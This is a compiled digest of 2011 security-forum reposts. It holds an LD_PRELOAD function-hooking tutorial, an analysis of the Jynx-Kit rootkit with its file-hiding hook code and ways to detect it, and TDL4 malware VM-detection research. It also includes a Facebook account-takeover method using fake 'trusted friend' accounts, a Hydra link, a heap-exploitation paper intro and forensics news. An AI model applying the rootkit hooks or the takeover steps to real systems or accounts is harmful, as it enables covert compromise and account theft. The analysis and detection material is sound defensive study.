-static toto.c -o toto-stat fluxiux@handgrep:~$ ls -l | grep "toto-" -rwxr-xr-x 1 fluxiux fluxiux 8426 2011-10-28 23:21 toto-dyn -rwxr-xr-x 1 fluxiux fluxiux 804327 2011-10-28 23:21 toto-stat As we can see, “toto-stat” is almost 96 times more heavy than “toto-dyn”. Why?: fluxiux@handgrep:~$ ldd toto-stat is not a dynamic executable This approach is very flexible and sophisticated because we can[1]: update libraries and still support programs that want to use older, non-backward-compatible versions of those libraries, override specific libraries or even specific functions in a library when executing a particular program, do all this while programs are running using existing libraries. Shared libraries have a special convention, which is the “soname”. “soname” have a prefix “lib”, followed by the name of the library, then “.so” and a period + a version number whenever the interface has changed (has you can see on previous listings). Now, let’s talk about the LD_PRELOAD trick. LD_PRELOAD in the wild As you can see, libraries are generally present in “/lib” folder. So if we want to patch some libraries like the “libc” one, the first idea is to modify the sources and recompile everything into a shared library with the “soname” convention. But instead of doing this, we could use a wonderful trick that Linux offers to us: LD_PRELOAD. Use your own library Suppose we want to change the “printf” function, without recompiling the whole source. To do that, we will overwrite this function in “my_printf.c” code: #define _GNU_SOURCE #include <stdio.h> int printf(const char *format, ...) { exit(153); } Now we have to compile[2] this code into a shared library as follows: fluxiux@handgrep:~$ gcc -Wall -fPIC -c -o my_printf.o my_printf.c my_printf.c: In function ‘printf’: my_printf.c:6:2: warning: implicit declaration of function ‘exit’ my_printf.c:6:2: warning: incompatible implicit declaration of built-in function ‘exit’ fluxiux@handgrep:~$ gcc -shared -fPIC -Wl,-soname -Wl,libmy_printf.so -o libmy_printf.so my_printf.o To use this library, we overwrite the environment variable “LD_PRELOAD” with the absolute path of “libmy_printf.so” library to execute our function, instead of glibc’s one: fluxiux@handgrep:~$ export LD_PRELOAD=$PWD/libmy_printf.so fluxiux@handgrep:~$ ./toto-dyn As we can see, the string “huhu la charrue” didn’t showed up, so we will trace library calls with “ltrace” to see what happen: fluxiux@handgrep:~$ ltrace ./toto-dyn __libc_start_main(0x4015f4, 1, 0x7fffa88d0908, 0x402530, 0x4025c0 <unfinished ...> printf("huhu la charrue" <unfinished ...> +++ exited (status 153) +++ Incredible! Our library has been called in first by the environment variable “LD_PRELOAD”. But if we want to alter the behavior of the function “printf” without changing its aspect for users, do we have to rewrite the whole function only modigying few lines? No! It is possible to hook a function much more easier and discretely. dlsym: Yo Hook Hook And A Bottle Of Rum! The “libdl” introduced interesting functions like: dlopen(): load a library, dlsym(): give the pointer for a specified symbol, dlclose(): unload a library. Because libraries have been loaded at process launching, we will only need to get the pointer of the symbol “printf” to use the original function. But how to do it if we have an overwritten function? We use “RTLD_NEXT” as an argument to point to the original function called before: [...] typeof(printf) *old_printf; [...] /* DO HERE SOMETHING VERY EVIL */ old_printf = dlsym(RTLD_NEXT, "printf"); [...] After that, we need to format the string passed in argument and call the original function with this formatted string (“huhu la charrue”), to be shown as expected: #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <stdlib.h> #include <stdarg.h> int printf(const char *format, ...) { va_list list; char *parg; typeof(printf) *old_printf; // format variable arguments va_start(list, format); vasprintf(&parg, format, list); va_end(list); /* DO HERE SOMETHING VERY EVIL */ // get a pointer to the function "printf" old_printf = dlsym(RTLD_NEXT, "printf"); (*old_printf)("%s", parg); // and we call the function with previous arguments free(parg); } We compile it: fluxiux@handgrep:~$ gcc -Wall -fPIC -c -o my_printf.o my_printf.c my_printf.c: In function ‘printf’: my_printf.c:21:1: warning: control reaches end of non-void function fluxiux@handgrep:~$ gcc -shared -fPIC -Wl,-soname -Wl,libmy_printf.so -ldl -o libmy_printf.so my_printf.o fluxiux@handgrep:~$ export LD_PRELOAD=$PWD/libmy_printf.so And execute it: fluxiux@handgrep:~$ ./toto-dyn huhu la charrue Wonderful! A user cannot expect that something evil is going on, when executing his own program now. But there are some limitations using the LD_PRELOAD trick. Limitations This trick is very good but limited. Indeed, if you try with the static version of “toto” (toto-stat), the kernel will just load each segment to the specified virtual address, then jump to the entry-point. It means that there is no linking process done by the program interpreter. Moreover, if the SUID or SGID bit is set to “1?, the LD_PRELOAd will not work for some security reasons (Too bad!). For more informations about “LD_PRELOAD”, I suggest you to read the article of Etienne Duble[3] (in French), that inspirited me a lot to make this post. Userland rootkit Jynx-Kit About 2 weeks ago, a new userland rootkit[4] have been introduced. This rootkit came with an automated bash script to install it easily and is undetected by rkhunter and chkrootkit. To know more about that, we will analyze it. The interesting part is in “ld_poison.c”, where fourteen functions are hooked: [...] old_fxstat = dlsym(RTLD_NEXT, "__fxstat"); old_fxstat64 = dlsym(RTLD_NEXT, "__fxstat64"); old_lxstat = dlsym(RTLD_NEXT, "__lxstat"); old_lxstat64 = dlsym(RTLD_NEXT, "__lxstat64"); old_open = dlsym(RTLD_NEXT,"open"); old_rmdir = dlsym(RTLD_NEXT,"rmdir"); old_unlink = dlsym(RTLD_NEXT,"unlink"); old_unlinkat = dlsym(RTLD_NEXT,"unlinkat"); old_xstat = dlsym(RTLD_NEXT, "__xstat"); old_xstat64 = dlsym(RTLD_NEXT, "__xstat64"); old_fdopendir = dlsym(RTLD_NEXT, "fdopendir"); old_opendir = dlsym(RTLD_NEXT, "opendir"); old_readdir = dlsym(RTLD_NEXT, "readdir"); old_readdir64 = dlsym(RTLD_NEXT, "readdir64"); [...] Randomly, have look to the ”open” function. As you can see a “__xstat” is performed to get file informations: [...] struct stat s_fstat; [...] old_xstat(_STAT_VER, pathname, &s_fstat); [...] After that, a comparison informations like Group ID, path, and “ld.so.preload” that we want to hide. If these informations match, the function doesn’t return any result: [...] if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) || (strstr(pathname, CONFIG_FILE) != NULL)) { errno = ENOENT; return -1; } [...] It is organized like this in every functions, and people are not supposed to notice any suspicious file or activity (like the back connect shell). But what about detection? Detection Surprising (or not), but this rootkit is undetected by rkhunter and chkrootkit. The reason is that these two anti-rootkit check for signs, and as we should know, this is not the best to do. Indeed, for example, just clean the “LD_PRELOAD” variable and generate a “sha1sum” of “toto”, as follows: fluxiux@handgrep:~$ sha1sum toto-dyn a659c72ea5d29c9a6406f88f0ad2c1a5729b4cfa toto-dyn fluxiux@handgrep:~$ sha1sum toto-dyn > toto-dyn.sha1 And then set the “LD_PRELOAD” variable and check if the sum is correct: fluxiux@handgrep:~$ export LD_PRELOAD=$PWD/libmy_printf.so fluxiux@handgrep:~$ sha1sum -c toto-dyn.sha1 toto-dyn: OK IT… IS… CORRECT???! Exactly! We didn’t modified anything in the ELF file, so the checksum should be the same, and it is. If anti-rootkit like rkhunter work like that, the detection must fail. Other techniques are based on suspicious files, signs and port binding detection like in “chkrootkit”, but they failed too, because this type of rootkit is very flexible, and in Jynx we have a sort of port knocking to open the remote shell for our host. To avoid these rootkits, you could check for any suspicious library specified in “LD_PRELOAD” or “/etc/ld.so.preload”. We know also that “dlsym” can be used to call the original function while altering it: $ strace ./bin/ls [...] open("/home/fluxiux/blabla/Jynx-Kit/ld_poison.so", O_RDONLY) = 3 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\n\0\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=17641, ...}) = 0 mmap(NULL, 2109656, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5e1a586000 mprotect(0x7f5e1a589000, 2093056, PROT_NONE) = 0 mmap(0x7f5e1a788000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5e1a788000 close(3) [...] open("/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY) = 3 [...] And disassembling “ld_poison.so” file, we could see that there are many substitutions in functions, that could hide malicious files or activities. Looking for strings in the binaries, when it is not packed, could provide us some interesting clues (but get in minds also that packing is suspicious sometimes): fluxiux@handgrep:~/blabla/Jynx-Kit$ strings ld_poison.so [...] libdl.so.2 [...] dlsym fstat [...] lstat hooked. ld.so.preload xochi <-- sounds familiar [...] /proc/%s <-- hmmm... strange! [...] A rootkit as Jynx-kit, proves that signing detection is just a hopeless way to protect us against technologies like rootkits. If you want to make it right, base your detection on heuristics. To finish, there is also some interesting forensic tools that compare results with many techniques (“/bin/ps” output against “/proc”, “procfs” walking and “syscall”). Indeed, Security by default has provided a special analysis on Jynx-kit[5] that made me discover Unhide[6], that checks if there are no hidden processes and opened ports (brute-forcing all available TCP/UDP ports). References & Acknowledgements [1] Shared libraries – http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html [2] Static, Shared Dynamic and Loadable Linux Libraries – http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html [3] (French) Le monde merveilleux de LD_PRELOAD – Open Silicium Magazine #4 [4] Jynx-Kit LD_PRELOAD Rootkit Release – http://forum.blackhatacademy.org/viewtopic.php?id=186 [5] Analisis de Jynx (Linux Rootkit) – http://www.securitybydefault.com/2011/10/analisis-de-jynx-linux-rootkit.html [6] Unhide – http://www.unhide-forensics.info Sursa: http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/

How To Use Thc-Hydra Description: In this video I show how to use the brute forcer hydra. Download: THC-HYDRA v7.1 Released - Insecure Stuff If u have any Problem then Contact me on Twitter: Twitter Video: http://www.securitytube.net/video/2381 http://www.youtube.com/watch?v=kzJFPduiIsI

'Nitro' Cyber-Spying Campaign Stole Data From Chemical, Defense Companies By: Fahmida Y. Rashid 2011-10-31 Cyber-attackers targeted chemical and defense companies over a two month long campaign to steal sensitive information by infecting systems with the PoisonIvy Trojan. Symantec has identified a cyber-spying campaign to steal information from chemical and defense companies around the world. Dubbed 'Nitro' by Symantec, the campaign began last April, according to a whitepaper released by Symantec Oct. 31. Cyber-attackers originally targeted human rights organizations and the auto industry before moving on to the chemical industry in July. At least 48 companies are believed to have been targeted across various industry verticals, including 29 companies involved in research and development of chemical compounds and companies that develop materials for military vehicles. The other 19 were in other sectors, including defense. A dozen victims were based in the United States, five were in the United Kingdom, and others were in Denmark, Italy, the Netherlands and Japan. Even so, the largest percentage of affected systems was in the United States and Bangladesh. "The purpose of the attacks appears to be industrial espionage, collecting intellectual property for competitive advantage," wrote Eric Chien and Gavin O'Gorman in the whitepaper. The campaign relied on email with the well-known off-the-shelf Trojan called PoisonIvy attached to the message. One set of emails was sent to targeted recipients within the organization pretending to be meeting invitations from known business partners and the other set was sent to a larger group of victims and masqueraded as a security update, according to Symantec. Once on the system, PoisonIvy opened a backdoor and contacted a remote command and control server, and transmitted the IP address, names of all other computers in the workgroup or domain, and a dump of Windows cashed password hashes. “By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes, the attackers then began traversing the network infecting additional computers,” Symantec researchers wrote. The attackers' primary goal appeared to be obtaining domain administrator credentials and gaining access to a system where intellectual property was stored, according to Symantec. The attackers' behavior varied slightly with each compromise, but once the intellectual property was found, they copied the contents to a handful of internal systems that have been designated as a staging area. The data was then uploaded to a remote server, which was traced to a virtual private server (VPS) in the United States and owned by a “20-something male located in the Hebei region in China,” according to Symantec. The technique was similar to what attackers allegedly did during the attack on Japan's largest defense contractor Mitsubishi Heavy Industries in August, but Symantec declined to identify any of the affected Japanese companies. Attackers are increasingly launching reconnaissance activities to ferret out sensitive information before extracting them from the organizations, Noa Bar-Yosef, a senior security strategist at Imperva, told eWEEK in an earlier interview. Developed by a Chinese coder, PoisonIvy is widely available on the Internet and has its own Website. It has been implicated in recent attacks, including the campaign which compromised RSA Security and allowed thieves to steal information related to the SecurID authentication technology. Symantec said other groups targeted some of the same chemical companies during the time period by sending malicious PDF and DOC files which exploit vulnerabilities to download Sogu, a backdoor Trojan. It was "difficult" to determine if the Nitro gang with PoisonIvy was related to the group using Sogu, but "unlikely" because the attack methods were so different, according to Symantec. Sursa: http://www.eweek.com/c/a/Security/Nitro-CyberSpying-Campaign-Stole-Data-From-Chemical-Defense-Companies-863610/ Pff, mi-au gresit numele

Android Reverse Engineering VM The virtual machine is available here : http://redmine.honeynet.org/Android.tar.gz You must extract the virtual machine : tar xvzf Android.tar.gz and load it with VirtualBox by adding a new virtual machine. Softwares Androguard Android sdk/ndk APKInspector Apktool Axmlprinter Ded Dex2jar DroidBox Jad Smali/Baksmali You would like your sofware in ARE ? Please report an issue . Login/Password The login is : android And the password is : android Sursa: http://redmine.honeynet.org/projects/are/wiki

Volatility 2.0 - Advanced Memory Forensics [With Video Demonstration] POSTED BY THN REPORTER ON 10/30/2011 03:10:00 AM The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer unprecedented visibilty into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research. The Volatility Framework demonstrates our committment to and belief in the importance of open source digital investigation tools . Volatile Systems is committed to the belief that the technical procedures used to extract digital evidence should be open to peer analysis and review. We also believe this is in the best interest of the digital investigation community, as it helps increase the communal knowledge about systems we are forced to investigate. Similarly, we do not believe the availability of these tools should be restricted and therefore encourage people to modify, extend, and make derivative works, as permitted by the GPL. Capabilities The Volatility Framework currently provides the following extraction capabilities for memory samples Image date and time: Running processes Open network sockets Open network connections DLLs loaded for each process Open files for each process Open registry handles for each process A process' addressable memory OS kernel modules Mapping physical offsets to virtual addresses (strings to process) Virtual Address Descriptor information Scanning examples: processes, threads, sockets, connections,modules Extract executables from memory samples Transparently supports a variety of sample formats (ie, Crash dump, Hibernation, DD) Automated conversion between formats Video Demonstration: This video shows grabbing the windows NTLM passwords from a memory dump and then using John the Ripper to crack them. Video: http://www.youtube.com/watch?v=YO1mlynbsmc Download: https://www.volatilesystems.com/default/volatility Sursa: Volatility 2.0 - Advanced Memory Forensics [With Video Demonstration] ~ THN : The Hacker News

A practical solution of token based attributes to prevent XSS. Can you break #JSLR? JSLR uses randomized attributes and tags to prevent an attacker injecting malicious content. The HTML is parsed via the DOM before it's rendered and only legitimate attributes make it through. It's possible to prevent DOM based injection inside allowed script and attributes by randomizing quotes. jslr.js: window.JSLR=function(id, singleQuote, doubleQuote) { document.write('<plaintext id="JSLRElement" />'); document.addEventListener('DOMContentLoaded', function() { var JSLRElement, JSLRContents, html, i, j, k, re, pn, len, attrNamesToRemove = [], attrToAdd = [], allowedTag = false, script, text; JSLRElement = document.getElementById('JSLRElement'); JSLRContents = JSLRElement.textContent?JSLRElement.textContent:JSLRElement.innerHTML; html = document.implementation.createHTMLDocument(''); JSLRElement.parentNode.innerHTML=''; html.body.innerHTML = JSLRContents; j = html.getElementsByTagName('*'); for (i=0;i<j.length;i++) { tagName = j[i].tagName; if(!tagName) { try {j[i].removeNode(true);} catch(e){} try {j[i].parentNode.removeChild(j[i]);}catch(e){} } if(/^(?:object|embed|script|textarea|button|style|svg)$/i.test(tagName) && !/^(?:canvas|form|optgroup|legend|fieldset|label|option|select|input|audio|aside|article|a|abbr|acronym|address|area|b|bdo|big|br|canvas|caption|center|cite|code|col|dd|del|dfn|dir|div|dl|dt|em|font|h[1-6]|hr|i|img|ins|kbd|li|map|ol|p|pre|q|s|samp|small|span|strike|strong|sub|sup|table|tbody|td|tfoot|th|thead|tr|tt|u|ul|blockquote|image|video|xmp)$/i.test(tagName)) { allowedTag = false; try { for(k=0;k<j[i].attributes.length;k++) { re = new RegExp('^'+id + '_$'); if(re.test(j[i].attributes[k].name)) { allowedTag = true; } } } catch(e){} if(allowedTag) { continue; } try {j[i].removeNode(true);} catch(e){} try {j[i].parentNode.removeChild(j[i]);}catch(e){} } try { attrNamesToRemove = []; attrToAdd = []; for(k=0;k<j[i].attributes.length;k++) { re = new RegExp('^'+id + '_'); if(!re.test(j[i].attributes[k].name)) { attrNamesToRemove.push(j[i].attributes[k].name); } else { attrToAdd.push({name:(j[i].attributes[k].name+'').replace(re, ''), value: j[i].getAttribute(j[i].attributes[k].name)+''}); attrNamesToRemove.push(j[i].attributes[k].name); } } for(k=0;k<attrToAdd.length;k++) { if(/^on/i.test(attrToAdd[k].name)) { j[i][attrToAdd[k].name] = new Function(attrToAdd[k].value); } else { j[i].setAttribute(attrToAdd[k].name, attrToAdd[k].value); } if(j[i].protocol) { if(!/^https?:?/i.test(j[i].protocol) && !j[i].getAttribute(id + '_javascriptprotocol')) { j[i].setAttribute(attrToAdd[k].name,'#'); } } } for(k=0;k<attrNamesToRemove.length;k++) { j[i].removeAttribute(attrNamesToRemove[k]); } } catch(e){} } j = html.getElementsByTagName('*'); for (i=0;i<j.length;i++) { if(/^script$/i.test(j[i].tagName)) { script = document.createElement('script'); if(j[i].type) { script.type = j[i].type; } if(j[i].src) { script.src = j[i].src; } if(j[i].text) { text = j[i].text; text = text.replace(/['"]/g,''); text = text.replace(new RegExp('(?:'+singleQuote+')','g'),"'"); text = text.replace(new RegExp('(?:'+doubleQuote+')','g'),"'"); script.text = text; } document.getElementsByTagName('head')[0].appendChild(script); } } pn=document.body.parentNode; pn.removeChild(document.body); pn.appendChild(html.body); html = null; }, false); return null; }; Test: http://www.businessinfo.co.uk/labs/jslr/jslr.php

Tu sa ne aduci shaorma de acolo de la tine

TDL4 tricks for detecting Virtual Machine 25/10/2011 Introduction I received several mail asking me, if I was still active on my blog. And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs. So today I give you some news. TDL4 I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate ! So here is the link to the article. Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version. TDL4 (New version) And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article. Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis. It will use WQL language to query Windows Management Instrumentation. I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation : And source code of idc script (I'm maybe doing it wrong, but it's my first) : #include <idc.idc> static String(ea) { auto s,b,i; s = ""; i = 0; while(i < 2) { b = Byte(ea); if ( { s = s + form("%c", ; ea = ea + 2; } i++; } return s; } static main() { auto ea; auto op; auto str; auto s; ea = SelStart(); str = ""; while (ea < SelEnd()) { if(GetMnem(ea) != "mov") break; if (GetOpType(ea, 1) == 1) break; s = String(ea + 7); str = str + s; ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT); } Message("%s\n", str); } So with this script I was able to see all this interesting stuff : Win32_BIOS Win32_Process Win32_DiskDrive Win32_Processor Win32_SCSIController Name Model Manufacturer Xen QEMU Bochs Red Hat Citrix VMware Virtual HDVBOX CaptureClient.exe SELECT * FROM %s WHERE %s LIKE "%%%s%%" SELECT * FROM %s WHERE %s = "%s" First it will gather all the information about your pc and send this to a C&C. And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc... This is how they can detect that you are in virtualized or emulated environment. I didn't know how WQL work, so I decided to develop someshit : #include <windows.h> #include <objbase.h> #include <atlbase.h> #include <iostream> #include <wbemidl.h> #include <comutil.h> int main(void) { HRESULT hr; hr = CoInitializeEx( NULL, COINIT_MULTITHREADED ); if (hr < 0) { std::cerr << "[-] COM initialization failed" << std::endl; return (-1); } hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL ); if (hr < 0) { std::cerr << "[-] Security initialization failed" << std::endl; return (-1); } CComPtr<IWbemLocator> locator; hr = CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, reinterpret_cast< void** >( &locator )); if (hr < 0) { std::cerr << "[-] Instantiation of IWbemLocator failed" << std::endl; return (-1); } CComPtr<IWbemServices> service; hr = locator->ConnectServer(L"root\\cimv2", NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &service); CComPtr< IEnumWbemClassObject > enumerator; hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator ); //hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator ); if (hr < 0) { std::cerr << "[-] ExecQuey() Failed" << std::endl; return (-1); } CComPtr< IWbemClassObject > processor = NULL; ULONG retcnt; hr = enumerator->Next(WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt); while ( SUCCEEDED(hr) && retcnt > 0) { if ( retcnt > 0 ) { _variant_t var_val; hr = processor->Get( L"Name", 0, &var_val, NULL, NULL ); if (hr >= 0) { _bstr_t str = var_val; std::cout << "[+] Name: " << str << std::endl; } else { std::cerr << "[-] IWbemClassObject::Get failed" << std::endl; //result = -1; } hr = enumerator->Next( WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt ); } else { std::cout << "[-] Enumeration empty" << std::endl; } } } That's all for today :]. Sursa: w4kfu's bl0g

Facebook "Trusted friends" Security Feature Easily Exploitable POSTED BY THN REPORTER ON 10/31/2011 12:10:00 AM Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 "Trusted friends". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked. In Facebook's case, the keys are codes, and the user can choose from three to five "Trusted friends" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again. Yet This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering from last 5-6 Months according to me. Let us know, how this works... How its Exploitable: This Exploit is 90% Successful on the victims who add friends without knowing them or just for increasing the number of Friends. This method to hack a Facebook Account only works if 3 trusted friends agree to give you the security code ! Another Idea, Why not Create 3 fake accounts and send Friend Request to Victim. Once your 3 Fake Accounts become friends with your victims facebook account, you can select those 3 Accounts to get the Security Code and Reset the password of Victim. Here a Complete Demonstration of Hacking Method on HackersOnlineClub. Other Serious Facebook Vulnerability in Last Week Last Week Nathan Power from SecurityPentest has discovered new Facebook Vulnerability, that can easily attach EXE files in messages,cause possible User Credentials to be Compromised . Not even Account Security, Also there are lots of Privacy Issues in Facebook,like Nelson Novaes Neto, a Brazilian (independent) Security and Behavior Research have analyze a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent . Facebook should takes these privacy issues & security holes very seriously. Demo: http://www.hackersonlineclub.com/hack-facebook-account Sursa: Facebook "Trusted friends" Security Feature Easily Exploitable ~ THN : The Hacker News

Understanding the Low Fragmentation Hea Blackhat USA 2010 Chris Valasek X-Force Researcher cvalasek . gmail.com @nudehaberdasher Table of Contents Introduction................................................................................................................................................ 4 Overview................................................................................................................................................. 4 Prior Works ............................................................................................................................................. 5 Prerequisites ........................................................................................................................................... 6 Terminology............................................................................................................................................ 6 Notes ...................................................................................................................................................... 7 Data Structures ........................................................................................................................................... 7 _HEAP ..................................................................................................................................................... 7 _HEAP_LIST_LOOKUP.............................................................................................................................. 9 _LFH_HEAP ........................................................................................................................................... 10 _LFH_BLOCK_ZONE............................................................................................................................... 11 _HEAP_LOCAL_DATA ............................................................................................................................ 11 _HEAP_LOCAL_SEGMENT_INFO ........................................................................................................... 12 _HEAP_SUBSEGMENT........................................................................................................................... 12 _HEAP_USERDATA_HEADER ................................................................................................................. 13 _INTERLOCK_SEQ.................................................................................................................................. 14 _HEAP_ENTRY....................................................................................................................................... 15 Overview............................................................................................................................................... 16 Architecture.............................................................................................................................................. 17 FreeLists ................................................................................................................................................ 17 Algorithms ................................................................................................................................................ 20 Allocation.............................................................................................................................................. 20 Back-end Allocation .............................................................................................................................. 21 RtlpAllocateHeap .............................................................................................................................. 21 Overview........................................................................................................................................... 27 Front-end Allocation ............................................................................................................................. 28 RtlpLowFragHeapAllocFromContext ................................................................................................. 28 Overview........................................................................................................................................... 363 Example ............................................................................................................................................ 37 Freeing .................................................................................................................................................. 40 Back-end Freeing .............................................................................................................................. 41 RtlpFreeHeap .................................................................................................................................... 41 Overview........................................................................................................................................... 47 Front-end Freeing ................................................................................................................................. 48 RtlpLowFragHeapFree....................................................................................................................... 48 Overview........................................................................................................................................... 51 Example ............................................................................................................................................ 52 Security Mechanisms ................................................................................................................................ 55 Heap Randomization............................................................................................................................. 55 Comments......................................................................................................................................... 56 Header Encoding/Decoding .................................................................................................................. 56 Comments......................................................................................................................................... 57 Death of bitmap flipping ....................................................................................................................... 58 Safe Linking........................................................................................................................................... 59 Comments......................................................................................................................................... 59 Tactics ....................................................................................................................................................... 60 Heap Determinism................................................................................................................................ 60 Activating the LFH ............................................................................................................................. 60 Defragmentation............................................................................................................................... 61 Adjacent Data ................................................................................................................................... 62 Seeding Data ..................................................................................................................................... 63 Exploitation........................................................................................................................................... 67 Ben Hawkes #1.................................................................................................................................. 67 FreeEntryOffset Overwrite................................................................................................................ 71 Observations......................................................................................................................................... 79 SubSegment Overwrite ..................................................................................................................... 79 Example ............................................................................................................................................ 83 Issues ................................................................................................................................................ 83 Conclusion ................................................................................................................................................ 85 Bibliography.............................................................................................................................................. 86 Introduction Over the years, Windows heap exploitation has continued to increase in difficulty due to the addition of exploitation counter measures along with the implementation of more complex algorithms and data structures. Due to these trends and the scarcity of comprehensive heap knowledge within the community, reliable exploitation has severely declined. Maintaining a complete understanding of the inner workings of a heap manager can be the difference between unpredictable failure and precise exploitation. The Low Fragmentation heap has become the default front-end heap manager for the Windows operating system since the introduction of Windows Vista. This new front-end manager brought with it a different set of data structures and algorithms that replaced the Lookaside List. The system has also changed the way back-end memory management works as well. All of this material must be reviewed to understand the repercussions of allocating and freeing memory within an application on Windows 7. The main goal of this paper is to familiarize the reader with the newly created logic and data structures associated with the Low Fragmentation heap. First, a clear and concise foundation will be provided by explaining the new data structures and their coupled purpose within the heap manager. Then detailed explanations concerning the underlying algorithms that manipulate those data structures will be discussed. Finally, some newly devised exploitation techniques will be unveiled providing practical applications from this new found knowledge. Download: http://illmatics.com/Understanding_the_LFH.pdf